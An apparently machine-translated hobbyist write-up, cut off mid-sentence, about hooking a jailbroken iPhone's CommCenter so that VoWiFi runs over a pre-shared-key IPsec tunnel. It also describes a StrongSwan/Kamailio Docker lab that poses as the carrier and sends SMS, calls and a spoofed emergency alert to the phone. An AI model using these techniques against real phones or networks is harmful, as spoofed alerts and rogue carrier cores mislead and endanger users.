我是如何構建調整的iPhone 在用戶空間中運行整個VoLTE/VoWiFi 堆棧:通過越獄,我們可以做任何事情。但是,我的最終目標是在未越獄的手機上使用自定義SIM 卡進行這項工作,所以我只做了最小的更改。

ePDG 只是一個IPsec/IKEv2 VPN 隧道,在SIM 卡上具有EAP-AKA 身份驗證。要禁用EAP-AKA 身份驗證並切換到PSK:

我運行nm CommCenter,看到它正在使用NEIPSecIKECreateSessionWithInterface啟動VPN隧道;

我在NetworkExtensions中找到了這個符號,並在Ghidra中分解了它;

它是一個包裝器-[NEIKEv2Session

initWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:ssession:packetDelegate:]';我鉤住了那個方法,並刪除了參數;

我用PSK 在Mac 上創建了另一個IPsec/IKEv2 隧道;

我附加到macOS 的VPN 實現:

lldb-nNEIKEv2Provider-w

binitWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:saSession:packetDelegate:我將其參數與VoLTE ePDG隧道進行了比較,以了解macOS如何設置PSK;

我為PSK設置了相同的標誌;

這是我第一次調試iPhone,結果如下:

dlevi309 向我發送拉取請求以自動重啟CommCenter;

hbkirb 將我指向HearseDev 的Theos 徽標語言的clang 格式包裝器;

用到的資源如下:

Kanns103 的調整開髮指南;

elihwyma 的commcenterpatch13,它也掛鉤了CommCenter;

擁有StrongSwan 和Kamailio 的Wi-Fi 呼叫服務器

用一個電話與兩個服務通話來建立VoWifi:

ePDG,一個IPsec/IKEv2 VPN 服務器,我們使用StrongSwan;

P-CSCF,一個SIP VoIP 服務器,我們使用Kamailio;

我用兩個預裝做了一個Docker容器。

在macOS 12.1/Mac Mini 2020 (M1)/Docker for Mac 上測試。

首先,如果你不在Verizon 上,請在配置中更改IMS 域。你可以通過使用rvictl 捕獲SIP REGISTER 請求來查找域。

然後,運行:

dockercomposebuild

dockercomposeup等待來自電話的連接:

12[IKE]IKE_SAikev2-vpn-iphone[4]establishedbetween172.19.0.2[ims].172.19.0.1

12[IKE]IKE_SAikev2-vpn-iphone[4]statechange:CONNECTING=ESTABLISHED然後嘗試向手機發送短信:

ssh-p22222root@localhost

Password:vowifi

$encodesms1555444333319085823275'hello'將

或緊急警報:

$encodesms_cdmaemerg19085823275'duckandcover'或者打個電話:

$baresip

/uanewsip:+15554443333@localhost

/dialsip:+19085823275@localhost甚至嘗試在你自己的網絡上複製Purdue大學研